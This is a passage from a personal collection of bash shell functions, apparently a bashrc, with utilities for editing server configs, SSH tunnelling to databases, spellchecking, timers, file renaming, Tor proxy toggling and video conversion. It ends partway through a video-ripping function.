
###### sh_mesg
function sh_mesg()
{
	echo -e "${fg_bold}[ m ]${reset_color} $@"
}

###### use with   svn diff -r `sh_svnprev`
function sh_svnprev(){ 
	echo $(( `svnversion . | sed 's/[^0-9].*//'` - 1))
}

###### sh_fcore - $1 - path
function sh_fcore()
{
  p="."
  [ -n "$1" ] && p="$1"
  find $p -name "core\.*[[:digit:]]*" -type f 2>& /dev/null
  return 0
}

####### Edit the Apache configuration
function apacheconfig ()
{
	if [ -f /etc/httpd/conf/httpd.conf ]; then
		sedit /etc/httpd/conf/httpd.conf
	elif [ -f /etc/apache2/apache2.conf ]; then
		sedit /etc/apache2/apache2.conf
	else
		echo "Error: Apache config file could not be found."
		echo "Searching for possible locations:"
		sudo updatedb && locate httpd.conf && locate apache2.conf
	fi
}

####### Edit the PHP configuration file
function phpconfig ()
{
	if [ -f /etc/php.ini ]; then
		sedit /etc/php.ini
	elif [ -f /etc/php/php.ini ]; then
		sedit /etc/php/php.ini
	elif [ -f /etc/php5/php.ini ]; then
		sedit /etc/php5/php.ini
	elif [ -f /usr/bin/php5/bin/php.ini ]; then
		sedit /usr/bin/php5/bin/php.ini
	elif [ -f /etc/php5/apache2/php.ini ]; then
		sedit /etc/php5/apache2/php.ini
	else
		echo "Error: php.ini file could not be found."
		echo "Searching for possible locations:"
		sudo updatedb && locate php.ini
	fi
}

####### Edit the MySQL configuration file
function mysqlconfig ()
{
	if [ -f /etc/my.cnf ]; then
		sedit /etc/my.cnf
	elif [ -f /etc/mysql/my.cnf ]; then
		sedit /etc/mysql/my.cnf
	elif [ -f /usr/local/etc/my.cnf ]; then
		sedit /usr/local/etc/my.cnf
	elif [ -f /usr/bin/mysql/my.cnf ]; then
		sedit /usr/bin/mysql/my.cnf
	elif [ -f ~/my.cnf ]; then
		sedit ~/my.cnf
	elif [ -f ~/.my.cnf ]; then
		sedit ~/.my.cnf
	else
		echo "Error: my.cnf file could not be found."
		echo "Searching for possible locations:"
		sudo updatedb && locate my.cnf
	fi
}

####### Ssh functions					 #
#------------------------------------------////

function slak()
{
    if [ $# -lt 2 ]; then
        echo "add public key to securelink server"
        echo "usage: skak [accountname] [sl port]"
    else
        cat /Volumes/Library/ssh/id_rsa-$1.pub | ssh -q lila@localhost -p $2 "if [ ! -d ~/.ssh/ ] ; then mkdir ~/.ssh ; fi ; chmod 700 ~/.ssh/ ; cat - >> ~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys"
    fi
}

###### slssh
function slssh()
{
    if [ $# -lt 1 ]; then
        echo "connect to securelink ssh session"
        echo "usage slssh [port#]"
        echo "ssh -p \$1 localhost"
    else
        ssh -p $1 localhost
    fi
}

###### slpg
function slpg()
{
    if [ $# -lt 1 ]; then
        echo "create securelink ssh tunnel for postgres"
        echo "usage: slpg [port#]"
        echo "ssh -N localhost -L 2345/localhost/5432 -p \$1"
    else
        ssh -N localhost -L 2345/localhost/5432 -p $1
    fi
}

###### sshmysql
function sshmysql()
{
# bind MySQL hostport to forward remote MySQL connection to localhost
ssh -L 13306:127.0.0.1:3306 -N $* &
}

###### sshpg
function sshpg()
{
    if [ $# -lt 1 ]; then
        echo "create ssh tunnel for postgres"
        echo "usage: sshpg username@server"
        echo "ssh -N \$1 -L 2345/localhost/5432"
    else
        ssh -N $1 -L 2345/localhost/5432
    fi
}

###### sshpg2
function sshpg2()
{
    if [ $# -lt 1 ]; then
        echo "create ssh tunnel for postgres"
        echo "usage: sshpg username@server"
        echo "ssh -N \$1 -L \$2/localhost/5432"
    else
        ssh -N $1 -L $2/localhost/5432
    fi
}

####### Function that outputs dots every second until command completes
function sleeper() { while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper

####### Slow down CPU and IO for process and its offsprings
#------------------------------------------////

###### requires gawk: sudo apt-get install gawk
function slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }

####### Sort a list of comma-separated list of numbers 
function sort_csn() { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; }

####### Get function's source
function source_print() { set | sed -n "/^$1/,/^}$/p"; }

# Spellchecking
#------------------------------------------////

###### I-Spell @ work: ENGLISH - requires ispell: sudo apt-get install ispell
function spell()
{
    local CHATTO
    if [ $# -ne 1 ]; then
        echo -e "\033[1;32mUSAGE: \033[33mis word_to_check\033[0m"
    else
        CHATTO=$( echo $* | awk '{print $1}' )
        shift
        echo -e "----------------------------------------------------->\n"
        echo $CHATTO | ispell -a -m -B |grep -v "@"
        echo -e "----------------------------------------------------->"
    fi
}

###### Google spell checker
function spellcheck() { typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}

###### spell checks either a Web page URL or a file - requires ispell: sudo apt-get install ispell
function webspell()
{
	okaywords="$HOME/.okaywords"
	tempout="/tmp/webspell.$$"
	trap "/bin/rm -f $tempout" 0
	if [ $# -eq 0 ] ; then
	  echo "Usage: webspell file|URL" >&2;
	fi
	for filename
	do
	  if [ ! -f "$filename" -a "$(echo $filename|cut -c1-7)" != "http://" ] ; then
		continue;      # picked up directory in '*' listing
	  fi
	  lynx -dump $filename | tr ' ' '\n' | sort -u | \
	    grep -vE "(^[^a-z]|')" | \
	    # adjust the following line to produce just a list of misspelled words
	    ispell -a | awk '/^\&/ { print $2 }' | \
	    sort -u > $tempout
	  if [ -r $okaywords ] ; then
	    # if you have an okaywords file, screen okay words out
	    grep -vif $okaywords < $tempout > ${tempout}.2
	    mv ${tempout}.2 $tempout
	  fi
	  if [ -s $tempout ] ; then
	    echo "Probable spelling errors: ${filename}"
	    echo '-------' ; cat $tempout ; echo '========='
	    cat $tempout | paste - - - -  | sed 's/^/  /'
	  fi
	done
}

####### Cut a part of a video # ("$1" for original file, "$2" for new file, "$3" is start time, & "$4" is length of video desired)
function splitvideo()
{
	ffmpeg -vcodec copy -acodec copy -i "$1" -ss "$3" -t "$4" "$2"
}

####### Posts a file to sprunge.us and copies the related  url to the clipboard (command line pastebin)	     #
function sprunge() { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard && xclip -selection clipboard -o; }

####### Stock prices - can be called two ways: stock novl  (this shows stock pricing): stock "novell"  (this way shows stock symbol for novell)					 #
function stock()
{
	stockname=`lynx -dump http://finance.yahoo.com/q?s=${1} | grep -i ":${1})" | sed -e 's/Delayed.*$//'`
	stockadvise="${stockname} - delayed quote."
	declare -a STOCKINFO
	STOCKINFO=(` lynx -dump http://finance.yahoo.com/q?s=${1} | egrep -i "Last Trade:|Change:|52wk Range:"`)
	stockdata=`echo ${STOCKINFO[@]}`
	   if [[ ${#stockname} != 0 ]] ;then
		 echo "${stockadvise}"
		 echo "${stockdata}"
		    else
		    stockname2=${1}
		    lookupsymbol=`lynx -dump -nolist http://finance.yahoo.com/lookup?s="${1}" | grep -A 1 -m 1 "Portfolio" | grep -v "Portfolio" | sed 's/\(.*\)Add/\1 /'`
			  if [[ ${#lookupsymbol} != 0 ]] ;then
			  echo "${lookupsymbol}"
				else
				echo "Sorry $USER, I can not find ${1}."
			  fi
	   fi
}

###### command line way to get the stock quote via Yahoo
function stock_()
{
	curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
}

####### Stopwatch and Countdown Timer			 #
function stopwatch() {
	BEGIN=$(date +%s)
	while true; do
	    NOW=$(date +%s)
	    DIFF=$(($NOW - $BEGIN))
	    MINS=$(($DIFF / 60))
	    SECS=$(($DIFF % 60))
	    echo -ne "Time elapsed: $MINS:`printf %02d $SECS`\r"
	    sleep .1
	done
}

###### stopwatch with log
function stop_watch()
{
	START=$( date +%s ); while true; do CURRENT=$( date +%s ) ; echo $(( CURRENT-START )) ; sleep 1 ; echo -n ^[[A ; done
}

###### countdown clock
function countdown() { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; }

###### countdown clock
alias countdown2='MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."'

####### Transcodes and streams a video over http on port 6789 (vlc required)			 #
# function stream() { cvlc $1 --extraintf rc --sout
# 'transcode{vcodec=h264,vb=256,fps=12,scale=1,deinterlace,acodec=mp3,threads=3,ab=64,channels=2}:duplicate{dst=std{access=http,mux=ts,dst=0.0.0.0:6789}}';
# }

####### Print the corresponding error message
function strerror() { python -c "import os; print os.strerror($1)"; }

####### Function to split a string into an array
function string2array()
{
	read -a ARR <<<'world domination now!'; echo ${ARR[2]};
}

####### Count total number of subdirectories in current directory starting with specific name.
function subdir_find()
{
	find . -type d -name "*TestDir*" | wc -l
}

####### Check tcp-wrapping support	-  returns TRUE if the application supports tcp-wrapping or FALSE if not by reading the shared libraries used by this application.
function supportsWrap() { ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }

####### Swap 2 filenames around			 #
#------------------------------------------////

###### from Uzi's bashrc
function swap()
{
    local TMPFILE=tmp.$$
    [ $# -ne 2 ] && echo "swap: 2 arguments needed" && return 1
    [ ! -e $1 ] && echo "swap: $1 does not exist" && return 1
    [ ! -e $2 ] && echo "swap: $2 does not exist" && return 1
    mv "$1" $TMPFILE
    mv "$2" "$1"
    mv $TMPFILE "$2"
}

####### swap2
function swap2() { if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2" && echo "Success"; else echo "Fail"; fi; }

####### Switch two files (comes in handy)
function switchfile() {
	mv $1 ${1}.tmp && $2 $1 && mv ${1}.tmp $2
}

####### Creates a dated tarball
function tarball()
{
    name=$1
    shift
    tar zcvf $name-`date +%Y%m%d`.tar.gz "$@"
}

####### Monitor progress of data through a pipeline
function tarcp() {
    if (( $# >= 2 )); then
        echo "copy ${@[1, -2]} => ${@[-1]}"
        # http://www.ivarch.com/programs/pv.shtml
        if which pv ; then
            tar -c -f - ${@[1, -2]} | pv -t -b -r | tar -x -f - -C ${@[-1]}
        else
            tar -c -v -f - ${@[1, -2]} | tar -x -f - -C ${@[-1]}
        fi
    else
        "error, not enough parameters."
        return 1
    fi
}

####### TODO: fix so -s can be sent to cp
function tcp() {
        if [ "$1" = "-s" -o "$1" = "--set-target" ]; then
                COPY_TARGET="$(realpath $2)";
        elif [ "$1" = "-h" -o "$1" = "--help" ]; then
                echo "usage: tcp [-s|--set-target <dir>] | <mv args> <files>";
        else
                cp --target-directory "$COPY_TARGET" "$@";
        fi
}

####### Keeping your $HOME directory organized - having one temp dir for dls etc can quickly become mess, so try this tip to organise by date
# export TD="$HOME/temp/`date +'%Y-%m-%d'`"
# function td() {
#    td=$TD
#    if [ ! -z "$1" ]; then
#        td="$HOME/temp/`date -d "$1 days" +'%Y-%m-%d'`";
#    fi
#    mkdir -p $td; cd $td
#    unset td
# }

###### Make the following commands run in background automatically - wrapper around xemacs/gnuserv ...
function te()
{
    if [ "$(gnuclient -batch -eval t 2>&-)" == "t" ]; then
        gnuclient -q "$@";
    else
        ( xemacs "$@" &);
    fi
}

####### Set terminal title				 #
#------------------------------------------////

function terminal_title {
    echo -en "\033]2;$@\007"
}

# Set/Unset a proxy for the terminal using tor
#------------------------------------------////

###### For a HTTP proxy in a single terminal window, simply run the following command in a terminal:
# export http_proxy='http://YOUR_USERNAME:YOUR_PASSWORD@PROXY_IP:PROXY_PORT/'
# For a secure connection (HTTPS), use:
# export https_proxy='http://YOUR_USERNAME:YOUR_PASSWORD@PROXY_IP:PROXY_PORT/'
# Obviously, replace everything with your username, password, proxy ip and port. If the proxy does not require an username and password, skip that part
function termproxy()
{
	export http_proxy='http://localhost:8118'
	export https_proxy='http://localhost:8118'
}

###### To close the HTTP proxy in the terminal, either close the terminal, or enter this:
function termproxyX()
{
	unset http_proxy
	unset https_proxy
}

####### Terrorist threat level text

function terrorist-level()
{
	echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition' | awk -F\" 'NR==2{ print $2 }')"
}

####### Display theme info
function themeinfo() {
	  if [ `pgrep emerald` ]; then
	    echo "  Emerald:    `cat $HOME/.emerald/theme/theme.ini | grep description | awk -F= '{print $2}'`"
	  else
	    echo "  Metacity:   `gconftool-2 -g /apps/metacity/general/theme`"
	  fi
	  echo "  GTK:        `gconftool-2 -g /desktop/gnome/interface/gtk_theme`"
	  echo "  Icons:      `gconftool-2 -g /desktop/gnome/interface/icon_theme`"
	  echo "  Cursor:     `gconftool-2 -g /desktop/gnome/peripherals/mouse/cursor_theme`"
	  echo "  Font:       `gconftool-2 -g /desktop/gnome/interface/font_name`"
	  echo "  Wallpaper:  `gconftool-2 -g /desktop/gnome/background/picture_filename | xargs basename | cut -d. -f 1`"
	  echo
}

####### Thesaurus requires dict: sudo apt-get install dict
function ths() {
    dict -d moby-thes $@
}

####### A function to find the fastest free DNS server - requires: sudo apt-get install moreutils
function timeDNS() { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig @"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; }

####### Timer function - Elapsed time.  Usage:
#   t=$(timer)
#   ... # do something
#   printf 'Elapsed time: %s\n' $(timer $t)
#      ===> Elapsed time: 0:01:12
# If called with no arguments a new timer is returned.
# If called with arguments the first is used as a timer
# value and the elapsed time is returned in the form HH:MM:SS.
function timer()
{
    if [[ $# -eq 0 ]]; then
        echo $(date '+%s')
    else
        local  stime=$1
        etime=$(date '+%s')
        if [[ -z "$stime" ]]; then stime=$etime; fi
        dt=$((etime - stime))
        ds=$((dt % 60))
        dm=$(((dt / 60) % 60))
        dh=$((dt / 3600))
        printf '%d:%02d:%02d' $dh $dm $ds
    fi
}

####### Return a title-cased version of the string[str.title() in python]

function title() { sed 's/\<\w*/\u&/g' <<<$@; }
# function title() { string=( $@ ); echo ${string[@]^} ; }

####### To examine lots of files and potentially move them to a common directory
# ex:	tmv -s /mnt/disk/5k
# ex:	make a playlist
# ex:	tmv eye-of-the-tiger.mp3 #  <-> mv eye-of-the-tiger.mp3 /mnt/disk/5k
function tmv() {
        if [ "$1" = "-s" -o "$1" = "--set-target" ]; then
                MOVE_TARGET="$(realpath $2)";
        elif [ "$1" = "-h" -o "$1" = "--help" ]; then
                echo "usage: tmv [-s|--set-target <dir>] | <mv args> <files>";
        else
                mv --target-directory "$MOVE_TARGET" "$@";
        fi
}

####### Top-ten commands
function top10() {
    
    history | awk '{a[$2]++ } END{for(i in a){print a[i] " " i}}' | sort -rn | head
}

####### Switch tor on and off (requires privoxy)
function torswitch() {
    
    if [[ $EUID == 0 ]]; then
	case $1 in
	    *on )
		if [[ $(grep forward-socks4a /etc/privoxy/config) == "" ]]; then
		    echo "forward-socks4a / 127.0.0.1:9050 ." >> /etc/privoxy/config
		else
		    sed -e 's/\# forward-socks4a/forward-socks4a/g' -i /etc/privoxy/config
		    /etc/init.d/tor restart
		    /etc/init.d/privoxy restart
		fi
	    ;;
	    *off )
		sed -e 's/forward-socks4a/\# forward-socks4a/g' -i /etc/privoxy/config
		/etc/init.d/tor restart
		/etc/init.d/privoxy restart
	    ;;
	esac
    fi
}

####### Get the total length of all video / audio in the current dir in H:m:s
alias total_audio_length="mplayer -endpos 0.1 -vo null -ao null -identify *.avi 2>&1 |grep ID_LENGTH |cut -d = -f 2|awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}'"

alias total_video_length='total_audio_length'

###### ####### Touchpad stuff	- to get information on touchpad
alias touchpad_id='xinput list | grep -i touchpad'

###### ####### Touchpad stuff	 - to disable touchpad- using 'touchpad_id', set the number for your touchpad (default is 12)
function touchpad_off()
{
	touchpad=12
	xinput set-prop $touchpad "Device Enabled" 0
}

###### ####### Touchpad stuff	- to enable touchpad- using 'touchpad_id', set the number for your touchpad (default is 12)
function touchpad_on()
{
	touchpad=12
	xinput set-prop $touchpad "Device Enabled" 1
}

####### Transmission with blocklists
function transmissionbl()
{
	# Automatically downloads and 'installs' my choice of I-Blocklist lists prior to running Transmission (currently, there are 82 separate lists to choose from)
	# Homepage:	http://www.iblocklist.com/lists.php
	notify-send -t 20000 -i /usr/share/icons/gnome/32x32/status/info.png "Please wait while blocklists for Transmission BitTorrent Client are downloading..."
	BLOCKLISTDIR="$HOME/.config/transmission/blocklists"
	BASEURL="http://list.iblocklist.com/?list="
	ENDURL="&fileformat=p2p&archiveformat=gz"
	FILES=( bt_level1 bt_level2 bt_level3 us bt_dshield jcjfaxgyyshvdbceroxf ijfqtofzixtwayqovmxn bt_templist dufcxgnbjsdwmwctgfuj )
	if [ ! -d $BLOCKLISTDIR ];then
	    mkdir -p $BLOCKLISTDIR
	else
	    /bin/rm -fv -R $BLOCKLISTDIR
	    mkdir -p $BLOCKLISTDIR
	fi
	for i in "${FILES[@]}"
	  do
	    # wget -c $BASEURL"$i"$ENDURL -O $BLOCKLISTDIR/$i.gz
	    curl -L --retry 10 $BASEURL"$i"$ENDURL -o $BLOCKLISTDIR/$i.gz 	# seems to generate less download failures than wget
	    gunzip -f $BLOCKLISTDIR/$i.gz
	    mv $BLOCKLISTDIR/$i $BLOCKLISTDIR/$i.txt
	done
	if [ ! $(find "$BLOCKLISTDIR" -type f -name "*.gz") ];then
	    notify-send -t 10000 -i /usr/share/icons/gnome/32x32/status/info.png "The blocklists have finished downloading. Transmission will open momentarily..."
	    transmission-gtk
	    /bin/rm -fv -R $BLOCKLISTDIR/*.txt
	    exit
	else
	    notify-send -t 10000 -i /usr/share/icons/gnome/32x32/status/info.png "The blocklists have failed to completely download. Please try again." & /bin/rm -fv -R $BLOCKLISTDIR
	    exit
	fi
}

####### Moves specified files to ~/.Trash -  will not overwrite files that have the same name
function trashit()
{   local trash_dir=$HOME/.Trash
    for file in "$@" ; do
        if [[ -d $file ]] ; then
            local already_trashed=$trash_dir/`basename $file`
            if [[ -n `/bin/ls -d $already_trashed*` ]] ; then
                local count=`/bin/ls -d $already_trashed* | /usr/bin/wc -l`
                count=$((++count))
                /bin/mv --verbose "$file" "$trash_dir/$file$count"
                continue
            fi
        fi
        /bin/mv --verbose --backup=numbered "$file" $HOME/.Trash
    done
}

####### Tree stuff	-  shows directory tree (requires 'tree': sudo apt-get install tree)
function treecd() {
    builtin cd "${@}" &>/dev/null
    . $BSNG_RC_DIR/dirinfo/display
    dirinfo_display
    echo -e "${epink}content:"
    tree -L 1 $TREE_OPTS
    echo "$PWD" > $HOME/.lastpwd
}

####### Tree stuff	-  displays a tree of the arborescence
function treefind() {
    find "$@" | sed 's/[^/]*\//|   /g;s/| *\([^| ]\)/+--- \1/'
}

####### Search for a show at TV.COM			 #
#------------------------------------------////
function tvcom() {
	firefox "http://www.tv.com/search.php?type=11&stype=all&tag=search%3Bfrontdoor&qs="${@}"&stype=program" &
}

####### TV/Monitor switch on/off (good for wanting to watch video from computer through S-Video out) - use the command: "xrandr" to discover what the proper connected video outputs there are attached such as VGA-0 (monitor), LVDS1 (Laptop screen), S-video, VGA1 (VGA-to-TV Converter Box), etc.
function tv-monitor-switch-end() {
	mode="$(xrandr -q|grep -A1 "LVDS1 connected"| tail -1 |awk '{ print $1 }')"
	if [ -n "$mode" ]; then
	  mode1="$(xrandr -q|grep -A1 "VGA1 connected"| tail -1 |awk '{ print $1 }')"
	  if [ -n "$mode1" ]; then
	    xrandr --output LVDS1 --mode 1280x800 --output VGA1 --off
	  else
	    echo "No VGA1 monitor is connected so nothing to do."
	  fi
	else
	  mode2="$(xrandr -q|grep -A1 "VGA-0 connected"| tail -1 |awk '{ print $1 }')"
	  if [ -n "$mode2" ]; then
	    mode3="$(xrandr -q|grep -A1 "S-video connected"| tail -1 |awk '{ print $1 }')"
	    if [ -n "$mode3" ]; then
		 xrandr --output VGA-0 --mode 1024x768 --output S-video --off
	    else
		 echo "No S-video monitor is connected so nothing to do."
	    fi
	  else
	    echo "No other monitor is connected so nothing to do."
	  fi
	fi
}

###### tv-monitor-switch-start
function tv-monitor-switch-start() {
	mode="$(xrandr -q|grep -A1 "LVDS1 connected"| tail -1 |awk '{ print $1 }')"
	if [ -n "$mode" ]; then
	  mode1="$(xrandr -q|grep -A1 "VGA1 connected"| tail -1 |awk '{ print $1 }')"
	  if [ -n "$mode1" ]; then
	    xrandr --addmode VGA1 1024x768
	    xrandr --output LVDS1 --mode 1024x768 --output VGA1 --mode 1024x768 --same-as LVDS1
	  else
	    echo "No VGA1 monitor is connected so nothing to do."
	  fi
	else
	  mode2="$(xrandr -q|grep -A1 "VGA-0 connected"| tail -1 |awk '{ print $1 }')"
	  if [ -n "$mode2" ]; then
	    mode3="$(xrandr -q|grep -A1 "S-video connected"| tail -1 |awk '{ print $1 }')"
	    if [ -n "$mode3" ]; then
		 xrandr --addmode S-video 800x600
		 xrandr --output VGA-0 --mode 800x600 --output S-video --mode 800x600 --same-as VGA-0
	    else
		 echo "No S-video monitor is connected so nothing to do."
	    fi
	  else
	    echo "No other monitor is connected so nothing to do."
	  fi
	fi
}

####### Convert text file to pdf - Requires:	sudo apt-get install txt2html python-pisa (Packet Veraltet)
# function txt2pdf() { xhtml2pdf -b "${1%.*}" < <(txt2html "$1"); }

####### Adds "-c" canonical option to bash "type" - builtin command to follow symbolic links	 #
function type() { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; }

####### Changes spaces to underscores in names
function underscore()
{
    for f in * ; do
	[ "${f}" != "${f// /_}" ]
	mv -- "${f}" "${f// /_}"
    done
}

####### Decompiler for jar files using jad
function unjar() { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm -r /tmp/unjar/$1 ; }

####### Remove all files created by latex
function unlatex() {
	if [ "$1" == "" ]; then
	return
	fi
	i=${1%%.*}
	rm -f $i.aux $i.toc $i.lof $i.lot $i.los $i.?*~ $i.loa $i.log $i.bbl $i.blg $i.glo
	rm -f $i.odt $i.tns $i.fax $i.bm $i.out $i.nav $i.snm
	rm -f $i.mtc* $i.bmt
	mv -f $i.dvi .$i.dvi
	mv -f $i.ps .$i.ps
	mv -f $i.pdf .$i.pdf
	rm -f $i.dvi $i.ps $i.pdf
	unset i
}

####### Up to top directory
function up() {
[ "${1/[^0-9]/}" == "$1" ] && {
        local ups=""
        for ((i=1; i<=$1; i++))
        do
                ups=$ups"../"
        done
        cd $ups
        }
}

####### Move all files in current directory (recursively) up a level
function upalevel()
{
	find . -type f | perl -pe '(s!(\./.*/)(.*)!mv "\1\2" "\1../\2"!);' | sh
}

####### Short URLs with ur1.ca
function ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*<a href="\(.*\)">.*$/\1/;p' ; }

####### Easily decode unix-time (function)

function utime() { perl -e "print localtime($1).\"\n\"";}

####### Echo a command, then execute it
function v_() { echo "$@"; "$@"; }

###### Checks to ensure that all environment variables are valid	- looks at SHELL, HOME, PATH, EDITOR, MAIL, and PAGER
function validator()
{
	errors=0
	function in_path()
	{
		  # given a command and the PATH, try to find the command. Returns
		  # 1 if found, 0 if not.  Note that this temporarily modifies the
		  # the IFS input field seperator, but restores it upon completion.
		  cmd=$1    path=$2    retval=0
		  oldIFS=$IFS; IFS=":"
		  for directory in $path
		  do
		    if [ -x $directory/$cmd ] ; then
			 retval=1      # if we're here, we found $cmd in $directory
		    fi
		  done
		  IFS=$oldIFS
		  return $retval
	}
	function validate()
	{
		  varname=$1    varvalue=$2
		  if [ ! -z $varvalue ] ; then
		    if [ "${varvalue%${varvalue#?}}" = "/" ] ; then
			 if [ ! -x $varvalue ] ; then
			   echo "** $varname set to $varvalue, but I cannot find executable."
			   errors=$(( $errors + 1 ))
			 fi
		    else
			 if in_path $varvalue $PATH ; then
			   echo "** $varname set to $varvalue, but I cannot find it in PATH."
			   errors=$(( $errors + 1 ))
			 fi
		    fi
		  fi
	}
	####### Beginning of actual shell script #######
	if [ ! -x ${SHELL:?"Cannot proceed without SHELL being defined."} ] ; then
	  echo "** SHELL set to $SHELL, but I cannot find that executable."
	  errors=$(( $errors + 1 ))
	fi
	if [ ! -d ${HOME:?"You need to have your HOME set to your home directory"} ]
	then
	  echo "** HOME set to $HOME, but it's not a directory."
	  errors=$(( $errors + 1 ))
	fi
	# Our first interesting test: are all the paths in PATH valid?
	oldIFS=$IFS; IFS=":"     # IFS is the field separator. We'll change to ':'
	for directory in $PATH
	do
	  if [ ! -d $directory ] ; then
		 echo "** PATH contains invalid directory $directory"
		 errors=$(( $errors + 1 ))
	  fi
	done
	IFS=$oldIFS             # restore value for rest of script
	# Following can be undefined, & also be a progname, rather than fully qualified path.
	# Add additional variables as necessary for your site and user community.
	validate "EDITOR" $EDITOR
	validate "MAILER" $MAILER
	validate "PAGER"  $PAGER
	# and, finally, a different ending depending on whether errors > 0
	if [ $errors -gt 0 ] ; then
	  echo "Errors encountered. Please notify sysadmin for help."
	else
	  echo "Your environment checks out fine."
	fi
}

######## Converts VCD/SVCD to MPEG files
function vcd2mpeg()
{
	# Made by ioccatflashdancedotcx
	# Version 1.6, Thu Aug  4 00:43:44 CEST 2005
	if [ -n "$(ls 2>/dev/null *001|grep *001)" ]; then
				 rar x *01.rar
		if [ -n "$(ls 2>/dev/null *bin)" ]; then
				for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
				mv *mpg cd.mpg
				rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
		fi
	fi
	if [ -n "$(ls 2>/dev/null *01.rar|grep *01.rar)" ]; then
				 rar x *01.rar
		if [ -n "$(ls 2>/dev/null *bin)" ]; then
				for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
				mv *mpg cd.mpg
				rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
		fi
	fi
	if [ -n "$(ls 2>/dev/null *.rar|grep *.rar)" ]; then
				 rar x *rar
		if [ -n "$(ls 2>/dev/null *bin)" ]; then
					for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
					mv *mpg cd.mpg
				rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
		fi
	fi
	for cddir in CD1 CD2 CD3 CD4 CD5 CD6 Cd1 Cd2 Cd3 Cd4 Cd5 Cd6 cd1 cd2 cd3 cd4 cd5 cd6; do
	if cd ${cddir} &>/dev/null; then
	    if [ -n "$(ls 2>/dev/null *001|grep *001)" ]; then
		rar x *001
		if [ -n "$(ls 2>/dev/null *bin)" ]; then
		    for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
			if [ -n "$(ls 2>/dev/null avseq02.mpg)" ]; then
			    rm avseq01.mpg
			fi
		    mv *mpg ../${cddir}.mpg
				rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
		    cd ..
		    for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		elif [ -n "$(ls 2>/dev/null *mpg)" ]; then
		    mv *mpg ../${cddir}.mpg
		    cd ..
		    for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		elif [ -n "$(ls 2>/dev/null *avi)" ]; then
			mv *avi ../${cddir}.avi
			cd ..
			for i in ${cddir}.avi ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		fi
	    else
	    if [ -n "$(ls 2>/dev/null *01.rar|grep *01.rar)" ]; then
		rar x *01.rar
		if [ -n "$(ls 2>/dev/null *bin)" ]; then
		    for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
			if [ -n "$(ls 2>/dev/null avseq02.mpg)" ]; then
			    rm avseq01.mpg
			fi
		    mv *mpg ../${cddir}.mpg
				rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
		    cd ..
		    for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		elif [ -n "$(ls 2>/dev/null *mpg)" ]; then
		    mv *mpg ../${cddir}.mpg
		    cd ..
		    for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		elif [ -n "$(ls 2>/dev/null *avi)" ]; then
			mv *avi ../${cddir}.avi
			cd ..
			for i in ${cddir}.avi ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		fi
	    else
	    if [ -n "$(ls 2>/dev/null *.rar|grep *.rar)" ]; then
		rar x *rar
		if [ -n "$(ls 2>/dev/null *bin)" ]; then
		    for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
			if [ -n "$(ls 2>/dev/null avseq02.mpg)" ]; then
			    rm avseq01.mpg
			fi
		    mv *mpg ../${cddir}.mpg
				rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
		    cd ..
		    for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		elif [ -n "$(ls 2>/dev/null *mpg)" ]; then
			mv *mpg ../${cddir}.mpg
			cd ..
			for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		elif [ -n "$(ls 2>/dev/null *avi)" ]; then
